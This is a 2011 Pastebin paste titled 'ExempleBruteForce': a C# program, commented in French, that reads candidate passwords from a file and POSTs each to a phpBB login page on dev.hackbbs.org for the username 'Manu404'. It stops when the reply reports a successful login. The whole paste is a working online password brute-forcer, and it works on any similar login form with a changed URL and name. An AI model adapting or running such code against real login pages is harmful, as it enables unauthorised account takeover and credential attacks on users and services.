Advertisement
Manu404

ExempleBruteForce

Jun 7th, 2011
130
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 2.78 KB | None | 0 0
  1. using System;
  2. using System.IO;
  3. using System.Web;
  4. using System.Net;
  5. using System.Collections;
  6.  
  7. namespace BBSCrawler
  8. {
  9.     class Program
  10.     {
  11.         public static void Main(string[] args)
  12.         {
  13.             string line;
  14.  
  15.             // Onverture du fichier pass.txt se trouvant dans le dossier de l'application dans un buffer
  16.             StreamReader file = new StreamReader(System.Windows.Forms.Application.StartupPath + "\\pass.txt");
  17.  
  18.             // Lecture du buffer ligne par ligne
  19.             while ((line = file.ReadLine()) != null)
  20.             {
  21.                 // Création de la requête avec les params en POST
  22.                 WebPostRequest myPost = new WebPostRequest("http://dev.hackbbs.org/ucp.php?mode=login");
  23.                 myPost.Add("username", "Manu404");
  24.                 myPost.Add("password", line);
  25.                 myPost.Add("login", "Login");
  26.  
  27.                 // Si réussi on break sinon on continue
  28.                 if (myPost.GetResponse().Contains("You have been successfully logged in."))
  29.                 {
  30.                     Console.WriteLine("Log Sucess : {0} - {1}", "Manu404", line);
  31.                     break;
  32.                 }
  33.                 else
  34.                 {
  35.                     Console.WriteLine("Log Break : {0} - {1}", "Manu404", line);
  36.                 }
  37.             }
  38.  
  39.             // Fermeture du fichier
  40.             file.Close();
  41.  
  42.             Console.ReadKey();
  43.         }
  44.     }
  45.  
  46.     class WebPostRequest
  47.     {
  48.         private WebRequest theRequest;
  49.         private HttpWebResponse theResponse;
  50.         private ArrayList theQueryData;
  51.  
  52.         public WebPostRequest(string url)
  53.         {
  54.             theRequest = WebRequest.Create(url);
  55.             theRequest.Method = "POST";
  56.             theQueryData = new ArrayList();
  57.         }
  58.  
  59.         public void Add(string key, string value)
  60.         {
  61.             theQueryData.Add(String.Format("{0}={1}", key, HttpUtility.UrlEncode(value)));
  62.         }
  63.  
  64.         public string GetResponse()
  65.         {
  66.             // Définis l'encodage
  67.             theRequest.ContentType = "application/x-www-form-urlencoded";
  68.  
  69.             // Crée un string qui contient tout les paramètres
  70.             string Parameters = String.Join("&", (String[])theQueryData.ToArray(typeof(string)));
  71.             theRequest.ContentLength = Parameters.Length;
  72.  
  73.             // Ecriture des paramètres dans la requête
  74.             StreamWriter sw = new StreamWriter(theRequest.GetRequestStream());
  75.             sw.Write(Parameters);
  76.             sw.Close();
  77.  
  78.             // Execute la requête
  79.             theResponse = (HttpWebResponse)theRequest.GetResponse();
  80.             StreamReader sr = new StreamReader(theResponse.GetResponseStream());
  81.             return sr.ReadToEnd();
  82.         }
  83.  
  84.     }
  85. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement